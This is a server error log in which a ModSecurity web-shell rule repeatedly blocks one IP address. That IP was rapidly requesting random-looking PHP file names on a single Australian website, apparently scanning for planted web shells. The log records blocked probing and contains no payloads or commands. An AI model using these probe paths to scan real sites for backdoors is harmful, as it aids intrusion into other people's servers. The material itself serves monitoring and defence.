[Tue Mar 31 00:21:50.471756 2026] [:error] [pid 63557:tid 63562] [client 4.205.211.88:39935] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "acqjHq4QNVlzYgEvIjnkkQAAAQM"]
[Tue Mar 31 00:21:50.987834 2026] [:error] [pid 31735:tid 31759] [client 4.205.211.88:39871] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "acqjHj-CFgIllBeFWWFOawAAAlY"]
[Tue Mar 31 00:21:51.495438 2026] [:error] [pid 60746:tid 60783] [client 4.205.211.88:39761] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "acqjH54kQrgjDdAbQCpGgAAAAIc"]
[Tue Mar 31 00:21:52.012527 2026] [:error] [pid 63557:tid 63574] [client 4.205.211.88:39924] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zz8.php"] [unique_id "acqjIK4QNVlzYgEvIjnkkgAAAQ8"]
[Tue Mar 31 00:21:52.519980 2026] [:error] [pid 60746:tid 60789] [client 4.205.211.88:39856] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feokc.php"] [unique_id "acqjIJ4kQrgjDdAbQCpGggAAAI0"]
[Tue Mar 31 00:21:53.040569 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39903] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feokc.php"] [unique_id "acqjIZ4kQrgjDdAbQCpGhQAAAJA"]
[Tue Mar 31 00:21:53.551306 2026] [:error] [pid 31705:tid 31715] [client 4.205.211.88:39814] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feokc.php"] [unique_id "acqjIbh0Asyt0lXzJSw7UgAAAgg"]
[Tue Mar 31 00:21:54.078176 2026] [:error] [pid 60745:tid 60751] [client 4.205.211.88:39929] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feokc.php"] [unique_id "acqjIiQDBn75QnHaPb9meQAAAEI"]
[Tue Mar 31 00:21:54.542064 2026] [:error] [pid 60746:tid 60794] [client 4.205.211.88:39889] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "acqjIp4kQrgjDdAbQCpGhwAAAJI"]
[Tue Mar 31 00:21:54.985731 2026] [:error] [pid 60746:tid 60796] [client 4.205.211.88:39892] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "acqjIp4kQrgjDdAbQCpGiwAAAJQ"]
[Tue Mar 31 00:21:55.442187 2026] [:error] [pid 60746:tid 60779] [client 4.205.211.88:39888] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "acqjI54kQrgjDdAbQCpGkQAAAIM"]
[Tue Mar 31 00:21:55.857022 2026] [:error] [pid 60745:tid 60762] [client 4.205.211.88:39913] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "acqjIyQDBn75QnHaPb9mewAAAE0"]
[Tue Mar 31 00:21:56.274352 2026] [:error] [pid 31705:tid 31713] [client 4.205.211.88:39824] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpmini.php"] [unique_id "acqjJLh0Asyt0lXzJSw7VwAAAgY"]
[Tue Mar 31 00:21:56.692678 2026] [:error] [pid 60746:tid 60783] [client 4.205.211.88:39925] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpmini.php"] [unique_id "acqjJJ4kQrgjDdAbQCpGlwAAAIc"]
[Tue Mar 31 00:21:57.107646 2026] [:error] [pid 60746:tid 60798] [client 4.205.211.88:39829] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpmini.php"] [unique_id "acqjJZ4kQrgjDdAbQCpGmAAAAJY"]
[Tue Mar 31 00:21:57.533139 2026] [:error] [pid 60746:tid 60784] [client 4.205.211.88:39835] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpmini.php"] [unique_id "acqjJZ4kQrgjDdAbQCpGmgAAAIg"]
[Tue Mar 31 00:21:57.945937 2026] [:error] [pid 63557:tid 63577] [client 4.205.211.88:39865] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "acqjJa4QNVlzYgEvIjnklQAAARI"]
[Tue Mar 31 00:21:58.406928 2026] [:error] [pid 31735:tid 31752] [client 4.205.211.88:39855] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "acqjJj-CFgIllBeFWWFOcQAAAk8"]
[Tue Mar 31 00:21:58.821429 2026] [:error] [pid 31735:tid 31740] [client 4.205.211.88:39906] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "acqjJj-CFgIllBeFWWFOdAAAAkM"]
[Tue Mar 31 00:21:59.234724 2026] [:error] [pid 60835:tid 60848] [client 4.205.211.88:39928] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "acqjJwIOJ4Lc0iJVRzwYLgAAAAs"]
[Tue Mar 31 00:21:59.645925 2026] [:error] [pid 31735:tid 31749] [client 4.205.211.88:39828] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tbute.php"] [unique_id "acqjJz-CFgIllBeFWWFOdwAAAkw"]
[Tue Mar 31 00:22:00.059227 2026] [:error] [pid 63557:tid 63576] [client 4.205.211.88:39820] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tbute.php"] [unique_id "acqjKK4QNVlzYgEvIjnkmwAAARE"]
[Tue Mar 31 00:22:00.489039 2026] [:error] [pid 60746:tid 60778] [client 4.205.211.88:39876] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tbute.php"] [unique_id "acqjKJ4kQrgjDdAbQCpGoAAAAII"]
[Tue Mar 31 00:22:00.901112 2026] [:error] [pid 60746:tid 60788] [client 4.205.211.88:39809] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tbute.php"] [unique_id "acqjKJ4kQrgjDdAbQCpGoQAAAIw"]
[Tue Mar 31 00:22:01.313392 2026] [:error] [pid 60746:tid 60779] [client 4.205.211.88:39909] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rovoj.php"] [unique_id "acqjKZ4kQrgjDdAbQCpGogAAAIM"]
[Tue Mar 31 00:22:01.724116 2026] [:error] [pid 60746:tid 60786] [client 4.205.211.88:39927] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rovoj.php"] [unique_id "acqjKZ4kQrgjDdAbQCpGpQAAAIo"]
[Tue Mar 31 00:22:02.136061 2026] [:error] [pid 60835:tid 60857] [client 4.205.211.88:39877] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rovoj.php"] [unique_id "acqjKgIOJ4Lc0iJVRzwYLwAAABQ"]
[Tue Mar 31 00:22:02.585118 2026] [:error] [pid 60835:tid 60846] [client 4.205.211.88:39816] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rovoj.php"] [unique_id "acqjKgIOJ4Lc0iJVRzwYMAAAAAk"]
[Tue Mar 31 00:22:03.003402 2026] [:error] [pid 31735:tid 31745] [client 4.205.211.88:39867] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r3grt7.php"] [unique_id "acqjKz-CFgIllBeFWWFOewAAAkg"]
[Tue Mar 31 00:22:03.439998 2026] [:error] [pid 31577:tid 31584] [client 4.205.211.88:39918] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r3grt7.php"] [unique_id "acqjK3OcPMUnrUQjB4JcwwAAAYU"]
[Tue Mar 31 00:22:03.851967 2026] [:error] [pid 60835:tid 60847] [client 4.205.211.88:39771] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r3grt7.php"] [unique_id "acqjKwIOJ4Lc0iJVRzwYNQAAAAo"]
[Tue Mar 31 00:22:04.263667 2026] [:error] [pid 63557:tid 63578] [client 4.205.211.88:39907] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r3grt7.php"] [unique_id "acqjLK4QNVlzYgEvIjnkngAAARM"]
[Tue Mar 31 00:22:04.679304 2026] [:error] [pid 60745:tid 60761] [client 4.205.211.88:39916] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phina.php"] [unique_id "acqjLCQDBn75QnHaPb9mhAAAAEw"]
[Tue Mar 31 00:22:05.092694 2026] [:error] [pid 60745:tid 60762] [client 4.205.211.88:39931] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phina.php"] [unique_id "acqjLSQDBn75QnHaPb9mhgAAAE0"]
[Tue Mar 31 00:22:05.505108 2026] [:error] [pid 63557:tid 63577] [client 4.205.211.88:39869] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phina.php"] [unique_id "acqjLa4QNVlzYgEvIjnknwAAARI"]
[Tue Mar 31 00:22:05.924793 2026] [:error] [pid 31577:tid 31580] [client 4.205.211.88:39848] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phina.php"] [unique_id "acqjLXOcPMUnrUQjB4JcxwAAAYE"]
[Tue Mar 31 00:22:06.342110 2026] [:error] [pid 31577:tid 31579] [client 4.205.211.88:39881] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acqjLnOcPMUnrUQjB4JcyAAAAYA"]
[Tue Mar 31 00:22:06.765900 2026] [:error] [pid 60745:tid 60756] [client 4.205.211.88:39921] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acqjLiQDBn75QnHaPb9miwAAAEc"]
[Tue Mar 31 00:22:07.182102 2026] [:error] [pid 60746:tid 60782] [client 4.205.211.88:39759] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acqjL54kQrgjDdAbQCpGrgAAAIY"]
[Tue Mar 31 00:22:07.611194 2026] [:error] [pid 31673:tid 31684] [client 4.205.211.88:39832] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "acqjLxV3ylEnW1IQOCnyngAAAck"]
[Tue Mar 31 00:22:08.024970 2026] [:error] [pid 31735:tid 31754] [client 4.205.211.88:39821] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "acqjMD-CFgIllBeFWWFOfQAAAlE"]
[Tue Mar 31 00:22:08.438864 2026] [:error] [pid 60746:tid 60796] [client 4.205.211.88:39808] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "acqjMJ4kQrgjDdAbQCpGsQAAAJQ"]
[Tue Mar 31 00:22:08.856803 2026] [:error] [pid 60745:tid 60763] [client 4.205.211.88:39868] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "acqjMCQDBn75QnHaPb9mjwAAAE4"]
[Tue Mar 31 00:22:09.271686 2026] [:error] [pid 60745:tid 60753] [client 4.205.211.88:39791] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs6.php"] [unique_id "acqjMSQDBn75QnHaPb9mkgAAAEQ"]
[Tue Mar 31 00:22:09.686696 2026] [:error] [pid 63557:tid 63583] [client 4.205.211.88:39926] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "acqjMa4QNVlzYgEvIjnkoAAAARg"]
[Tue Mar 31 00:22:10.099537 2026] [:error] [pid 31705:tid 31715] [client 4.205.211.88:39857] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "acqjMrh0Asyt0lXzJSw7XgAAAgg"]
[Tue Mar 31 00:22:10.517494 2026] [:error] [pid 31544:tid 31565] [client 4.205.211.88:39890] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "acqjMttfPe4lu-8385d7awAAAVM"]
[Tue Mar 31 00:22:10.936761 2026] [:error] [pid 60745:tid 60769] [client 4.205.211.88:39872] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs7.php"] [unique_id "acqjMiQDBn75QnHaPb9mlQAAAFQ"]
[Tue Mar 31 00:22:11.346663 2026] [:error] [pid 63557:tid 63565] [client 4.205.211.88:39919] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kbfr.php"] [unique_id "acqjM64QNVlzYgEvIjnkogAAAQY"]
[Tue Mar 31 00:22:11.757494 2026] [:error] [pid 60745:tid 60772] [client 4.205.211.88:39914] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kbfr.php"] [unique_id "acqjMyQDBn75QnHaPb9mmAAAAFc"]
[Tue Mar 31 00:22:12.170122 2026] [:error] [pid 31735:tid 31750] [client 4.205.211.88:39810] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kbfr.php"] [unique_id "acqjND-CFgIllBeFWWFOhAAAAk0"]
[Tue Mar 31 00:22:12.580360 2026] [:error] [pid 60745:tid 60761] [client 4.205.211.88:39839] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kbfr.php"] [unique_id "acqjNCQDBn75QnHaPb9mmwAAAEw"]
[Tue Mar 31 00:22:13.005080 2026] [:error] [pid 60745:tid 60768] [client 4.205.211.88:39915] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/595.php"] [unique_id "acqjNSQDBn75QnHaPb9mngAAAFM"]
[Tue Mar 31 00:22:13.418103 2026] [:error] [pid 60745:tid 60755] [client 4.205.211.88:39934] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/595.php"] [unique_id "acqjNSQDBn75QnHaPb9moAAAAEY"]
[Tue Mar 31 00:22:13.830745 2026] [:error] [pid 60745:tid 60758] [client 4.205.211.88:39871] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/595.php"] [unique_id "acqjNSQDBn75QnHaPb9mpQAAAEk"]
[Tue Mar 31 00:22:14.253410 2026] [:error] [pid 60745:tid 60759] [client 4.205.211.88:39749] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/595.php"] [unique_id "acqjNiQDBn75QnHaPb9mpwAAAEo"]
